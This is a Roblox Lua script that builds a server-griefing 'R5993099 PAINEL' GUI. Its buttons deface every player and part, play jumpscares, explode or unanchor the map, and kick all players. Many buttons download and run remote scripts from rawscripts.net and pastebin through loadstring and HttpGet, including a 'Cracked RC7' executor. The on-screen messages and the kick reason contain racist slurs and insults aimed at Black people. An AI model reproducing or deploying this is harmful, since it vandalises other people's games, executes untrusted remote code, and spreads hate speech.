-- SERVICES
local Players = game:GetService("Players")
local Lighting = game:GetService("Lighting")
local SoundService = game:GetService("SoundService")
local player = Players.LocalPlayer

-- IDS
local FACE_ID   = "rbxassetid://115556837421901"
local DECAL_ID  = "rbxassetid://83379025934906"
local SKYBOX_ID = "rbxassetid://83379025934906"

-- PARTICLES
local P1 = "rbxassetid://139282277478964"
local P2 = "rbxassetid://139282277478964"
local P3 = "rbxassetid://139282277478964"
local P4 = "rbxassetid://139282277478964"
local P5 = "rbxassetid://139282277478964"

-- GUI
local gui = Instance.new("ScreenGui")
gui.Name = "R5993099Panel"
gui.Parent = player.PlayerGui
gui.ResetOnSpawn = false

local main = Instance.new("Frame", gui)
main.Size = UDim2.new(0,520,0,220)
main.Position = UDim2.new(0.05,0,0.3,0)
main.BackgroundColor3 = Color3.fromRGB(15,15,15)
main.BorderSizePixel = 0
main.Active = true
main.Draggable = true

-- BACKGROUND IMAGE
local bg = Instance.new("ImageLabel", main)
bg.Size = UDim2.new(1,0,1,0)
bg.Image = "rbxassetid://138565989062644"
bg.ScaleType = Enum.ScaleType.Crop
bg.BackgroundTransparency = 1
bg.ZIndex = 0

-- TITLE (ALTERADO PARA AZUL)
local title = Instance.new("TextLabel", main)
title.Size = UDim2.new(1,0,0,34)
title.Text = "R5993099 PAINEL"
title.Font = Enum.Font.Arcade
title.TextSize = 20
title.TextColor3 = Color3.fromRGB(255,255,255)
title.BackgroundColor3 = Color3.fromRGB(0,100,200) -- AZUL
title.BorderSizePixel = 0
title.ZIndex = 2

-- SCROLL + GRID
local scroll = Instance.new("ScrollingFrame", main)
scroll.Position = UDim2.new(0,0,0,34)
scroll.Size = UDim2.new(1,0,1,-34)
scroll.CanvasSize = UDim2.new(0,0,0,0)
scroll.ScrollBarThickness = 6
scroll.BackgroundTransparency = 1
scroll.ZIndex = 2

local grid = Instance.new("UIGridLayout", scroll)
grid.CellSize = UDim2.new(0,120,0,34)
grid.CellPadding = UDim2.new(0,6,0,6)

grid:GetPropertyChangedSignal("AbsoluteContentSize"):Connect(function()
scroll.CanvasSize = UDim2.new(0,0,0,grid.AbsoluteContentSize.Y + 10)
end)

-- BUTTON CREATOR (COM CORES DINÂMICAS)
local function btn(text)
local b = Instance.new("TextButton", scroll)
b.Text = text
b.Font = Enum.Font.SourceSansBold
b.TextSize = 14
b.TextColor3 = Color3.fromRGB(255,255,255)
b.BackgroundColor3 = Color3.fromRGB(0,150,255) -- AZUL PADRÃO
b.BorderSizePixel = 0
b.ZIndex = 2
b.AutoButtonColor = false

-- CORES DINÂMICAS BASEADAS NO TEXTO
local corBase
if string.find(text:lower(), "face") or string.find(text:lower(), "decal") then
corBase = Color3.fromRGB(255,0,0) -- VERMELHO
elseif string.find(text:lower(), "sky") or string.find(text:lower(), "paper") then
corBase = Color3.fromRGB(0,200,0) -- VERDE
elseif string.find(text:lower(), "particle") or string.find(text:lower(), "mlg") then
corBase = Color3.fromRGB(0,150,255) -- AZUL
elseif string.find(text:lower(), "disco") or string.find(text:lower(), "rain") then
corBase = Color3.fromRGB(255,200,0) -- AMARELO
elseif string.find(text:lower(), "jump") or string.find(text:lower(), "666") then
corBase = Color3.fromRGB(200,0,0) -- VERMELHO ESCURO
elseif string.find(text:lower(), "shed") or string.find(text:lower(), "rc7") then
corBase = Color3.fromRGB(0,100,200) -- AZUL MÉDIO
else
corBase = Color3.fromRGB(0,150,255) -- AZUL PADRÃO
end

-- cantos arredondados
local corner = Instance.new("UICorner")
corner.CornerRadius = UDim.new(0,8)
corner.Parent = b

-- borda bonita (ALTERADA)
local stroke = Instance.new("UIStroke")
stroke.Thickness = 1.5
stroke.Color = corBase -- COR DA BORDA BASEADA NO TIPO
stroke.Transparency = 0.3
stroke.Parent = b

-- degradê (ALTERADO)
local grad = Instance.new("UIGradient")
grad.Color = ColorSequence.new{
ColorSequenceKeypoint.new(0, corBase),
ColorSequenceKeypoint.new(1, Color3.fromRGB(corBase.R * 0.6, corBase.G * 0.6, corBase.B * 0.6))
}
grad.Rotation = 90
grad.Parent = b

-- efeito hover (PC) - ALTERADO
b.MouseEnter:Connect(function()
b.BackgroundColor3 = Color3.fromRGB(math.min(corBase.R * 255 + 50, 255), math.min(corBase.G * 255 + 50, 255), math.min(corBase.B * 255 + 50, 255))
end)

b.MouseLeave:Connect(function()
b.BackgroundColor3 = corBase
end)

-- efeito clique (mobile e PC) - ALTERADO
b.MouseButton1Down:Connect(function()
b.BackgroundColor3 = Color3.fromRGB(255,255,255)
b.TextColor3 = corBase
end)

b.MouseButton1Up:Connect(function()
b.BackgroundColor3 = corBase
b.TextColor3 = Color3.fromRGB(255,255,255)
end)

return b

end

-- BUTTONS (todos os antigos + os 3 novos no final)
local faceBtn   = btn("Face ALL")
local decalBtn  = btn("Decal ALL")
local skyBtn    = btn("Skybox")
local partBtn   = btn("Particles")
local part2Btn  = btn("Particles 2")
local hintBtn   = btn("Hint")
local hint2Btn  = btn("Hint 2")
local msgBtn    = btn("Message")
local msg2Btn   = btn("Message 2")
local johnBtn   = btn("John Doe")
local jumpBtn   = btn("Jumpscare 1")
local jump2Btn  = btn("Jumpscare 2")
local discoBtn  = btn("Disco Mode")
local tacosBtn  = btn("Rain Tacos")     -- novo
local sixBtn    = btn("666")            -- novo
local shedBtn = btn("Shedletsky")
local shutdownBtn = btn("Shutdown")
local paperBtn = btn("Paper Mode")
local skyLoopBtn = btn("Sky 2")
local skeletonBtn = btn("sky skeleton")
local rc7Btn = btn("RC7")
local anonPartBtn = btn("Anonymous Particles")
local sky3Btn = btn("Sky 3")
local obungaBtn = btn("Obunga")
local mlgBtn   = btn("MLG Particles")
local unanchorBtn = btn("Unanchor ALL")
local ffBtn = btn("ForceField")
local explodeBtn = btn("Explodir Mapa")

-- FACE ALL
faceBtn.MouseButton1Click:Connect(function()
for _,plr in pairs(Players:GetPlayers()) do
if plr.Character and plr.Character:FindFirstChild("Head") then
local head = plr.Character.Head
if head:FindFirstChild("R5993099Face") then
head.R5993099Face:Destroy()
end
local bgui = Instance.new("BillboardGui", head)
bgui.Name = "R5993099Face"
bgui.Adornee = head
bgui.AlwaysOnTop = true
bgui.Size = UDim2.new(3.2,0,3.2,0)

local img = Instance.new("ImageLabel", bgui)
img.Size = UDim2.new(1,0,1,0)
img.BackgroundTransparency = 1
img.Image = FACE_ID
end
end

end)

-- DECAL SPAM
decalBtn.MouseButton1Click:Connect(function()
for _,v in pairs(workspace:GetDescendants()) do
if v:IsA("BasePart") then
for _,f in pairs(Enum.NormalId:GetEnumItems()) do
local d = Instance.new("Decal", v)
d.Face = f
d.Texture = DECAL_ID
end
end
end
end)

-- SKYBOX
skyBtn.MouseButton1Click:Connect(function()
local sky = Lighting:FindFirstChildOfClass("Sky") or Instance.new("Sky", Lighting)
sky.SkyboxBk = SKYBOX_ID
sky.SkyboxDn = SKYBOX_ID
sky.SkyboxFt = SKYBOX_ID
sky.SkyboxLf = SKYBOX_ID
sky.SkyboxRt = SKYBOX_ID
sky.SkyboxUp = SKYBOX_ID
end)

-- PARTICLES
local function addParticles(char,id)
local torso = char:FindFirstChild("Torso") or char:FindFirstChild("UpperTorso")
if not torso then return end
local p = Instance.new("ParticleEmitter", torso)
p.Texture = id
p.VelocitySpread = 50
end

partBtn.MouseButton1Click:Connect(function()
for _,plr in pairs(Players:GetPlayers()) do
if plr.Character then
for _,id in ipairs({P1,P2,P3,P4}) do
addParticles(plr.Character,id)
end
end
end
end)

part2Btn.MouseButton1Click:Connect(function()
for _,plr in pairs(Players:GetPlayers()) do
if plr.Character then
addParticles(plr.Character,P5)
end
end
end)

-- HINTS
hintBtn.MouseButton1Click:Connect(function()
local h = Instance.new("Hint", workspace)
h.Text = "R5993099 destroyed the server LOL"
end)

hint2Btn.MouseButton1Click:Connect(function()
local h = Instance.new("Hint", workspace)
h.Text = "Now I am your god, you stupid black people, LOL "
end)

-- MESSAGES
msgBtn.MouseButton1Click:Connect(function()
local m = Instance.new("Message", workspace)
m.Text = "SERVER HACKED by R5993099"
task.delay(12,function() m:Destroy() end)
end)

msg2Btn.MouseButton1Click:Connect(function()
local m = Instance.new("Message", workspace)
m.Text = "R5993099 ruined the game. "
task.delay(12,function() m:Destroy() end)
end)

-- JOHN DOE
johnBtn.MouseButton1Click:Connect(function()
loadstring(game:HttpGet("https://rawscripts.net/raw/Universal-Script-John-Doe-67329"))()
end)

-- JUMPSCARE FUNCTION
local function jumpscare(imgId,soundId,time)
local cover = Instance.new("Frame", gui)
cover.Size = UDim2.new(1,0,1,0)
cover.BackgroundColor3 = Color3.new(0,0,0)
cover.ZIndex = 999

local img = Instance.new("ImageLabel", cover)
img.Size = UDim2.new(1,0,1,0)
img.BackgroundTransparency = 1
img.Image = "rbxassetid://"..imgId
img.ScaleType = Enum.ScaleType.Fit
img.ZIndex = 1000

local s = Instance.new("Sound", SoundService)
s.SoundId = "rbxassetid://"..soundId
s.Volume = 10
s:Play()

task.delay(time,function()
cover:Destroy()
s:Destroy()
end)

end

jumpBtn.MouseButton1Click:Connect(function()
jumpscare("122306539007026","79399386956664",12)
end)

jump2Btn.MouseButton1Click:Connect(function()
jumpscare("138565989062644","79399386956664",12)
end)

-- DISCO MODE
discoBtn.MouseButton1Click:Connect(function()
loadstring(game:HttpGet("https://rawscripts.net/raw/Universal-Script-disco-script-56983"))()
end)

-- RAIN TACOS (novo)
tacosBtn.MouseButton1Click:Connect(function()
loadstring(game:HttpGet("https://rawscripts.net/raw/Universal-Script-Raining-tacos-59989"))()
end)

-- 666 SCRIPT (novo)
sixBtn.MouseButton1Click:Connect(function()
loadstring(game:HttpGet("https://rawscripts.net/raw/Universal-Script-666-script-56980"))()
end)

-- SHEDLETSKY SCRIPT
shedBtn.MouseButton1Click:Connect(function()
loadstring(game:HttpGet("https://rawscripts.net/raw/Universal-Script-Shedletsky-skybox-decal-spam-and-particles-39207"))()
end)

shutdownBtn.MouseButton1Click:Connect(function()
for _, plr in ipairs(game:GetService("Players"):GetPlayers()) do
plr:Kick("R5993099 FUCKED GAME NIGGERS HAHAHA")
end
end)

paperBtn.MouseButton1Click:Connect(function()
local Players = game:GetService("Players")

local function colorPart(part, color)
if part and part:IsA("BasePart") then
part.Color = color
part.Size = Vector3.new(part.Size.X, part.Size.Y, 0.05)
end
end

local function paperCharacter(char)
for _, obj in ipairs(char:GetDescendants()) do
if obj:IsA("Accessory") then
obj:Destroy()
end

if obj:IsA("Shirt") or obj:IsA("Pants") or obj:IsA("ShirtGraphic") then    
        obj:Destroy()    
    end    

    if (obj:IsA("SpecialMesh") or obj:IsA("Mesh")) and obj.Parent and obj.Parent.Name == "Head" then    
        obj:Destroy()    
    end    
end    

colorPart(char:FindFirstChild("Head"), Color3.fromRGB(255,255,255))    
colorPart(char:FindFirstChild("Torso") or char:FindFirstChild("UpperTorso"), Color3.fromRGB(0,170,0))    
colorPart(char:FindFirstChild("Left Arm") or char:FindFirstChild("LeftUpperArm"), Color3.fromRGB(255,255,255))    
colorPart(char:FindFirstChild("Right Arm") or char:FindFirstChild("RightUpperArm"), Color3.fromRGB(255,255,255))    

local legColor = Color3.fromRGB(120,190,255)    
colorPart(char:FindFirstChild("Left Leg") or char:FindFirstChild("LeftUpperLeg"), legColor)    
colorPart(char:FindFirstChild("Right Leg") or char:FindFirstChild("RightUpperLeg"), legColor)

end

local function apply(plr)
if plr.Character then
paperCharacter(plr.Character)
end
plr.CharacterAdded:Connect(function(char)
task.wait(1)
paperCharacter(char)
end)
end

for _, plr in ipairs(Players:GetPlayers()) do
apply(plr)
end

end)

skyLoopBtn.MouseButton1Click:Connect(function()
task.spawn(function()
local Lighting = game:GetService("Lighting")

local skyIds = {
"rbxassetid://81163856508776",
"rbxassetid://133817771998537"
}

local sky = Lighting:FindFirstChildOfClass("Sky") or Instance.new("Sky", Lighting)    
local i = 1    

while true do    
    local id = skyIds[i]    

    sky.SkyboxBk = id    
    sky.SkyboxDn = id    
    sky.SkyboxFt = id    
    sky.SkyboxLf = id    
    sky.SkyboxRt = id    
    sky.SkyboxUp = id    

    i += 1    
    if i > #skyIds then    
        i = 1    
    end    

    task.wait(1) -- troca a cada 5 segundos    
end

end)

end)

skeletonBtn.MouseButton1Click:Connect(function()
loadstring(game:HttpGet("https://rawscripts.net/raw/Universal-Script-skeleton-sky-10383"))()
end)

rc7Btn.MouseButton1Click:Connect(function()
loadstring(game:HttpGet("https://rawscripts.net/raw/Universal-Script-Cracked-RC7-63620"))()
end)

anonPartBtn.MouseButton1Click:Connect(function()
loadstring(game:HttpGet("https://rawscripts.net/raw/Universal-Script-anonymous-particles-43458"))()
end)

local Lighting = game:GetService("Lighting")

local function setSky3()
local id = "rbxassetid://96455713031758"

local sky = Lighting:FindFirstChildOfClass("Sky")
if not sky then
sky = Instance.new("Sky")
end

sky.SkyboxBk = id
sky.SkyboxDn = id
sky.SkyboxFt = id
sky.SkyboxLf = id
sky.SkyboxRt = id
sky.SkyboxUp = id

end
sky3Btn.MouseButton1Click:Connect(function()
setSky3()
end)

obungaBtn.MouseButton1Click:Connect(function()
loadstring(game:HttpGet("https://pastebin.com/raw/T30pvP9M"))()
end)

mlgBtn.MouseButton1Click:Connect(function()
loadstring(game:HttpGet("https://rawscripts.net/raw/Universal-Script-Mlg-Particles-Update-45554"))()
end)

unanchorBtn.MouseButton1Click:Connect(function()
for _, obj in ipairs(workspace:GetDescendants()) do
if obj:IsA("BasePart") then
obj.Anchored = false
end
end
end)

ffBtn.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character or player.CharacterAdded:Wait()

if char:FindFirstChildOfClass("ForceField") then
char:FindFirstChildOfClass("ForceField"):Destroy()
else
Instance.new("ForceField", char)
end

end)

explodeBtn.MouseButton1Click:Connect(function()
for _, obj in ipairs(workspace:GetDescendants()) do
if obj:IsA("BasePart") and obj.Anchored then
local ex = Instance.new("Explosion")
ex.Position = obj.Position
ex.BlastRadius = 18
ex.BlastPressure = 500000
ex.DestroyJointRadiusPercent = 1
ex.Parent = workspace
task.wait(0.015)
end
end
end)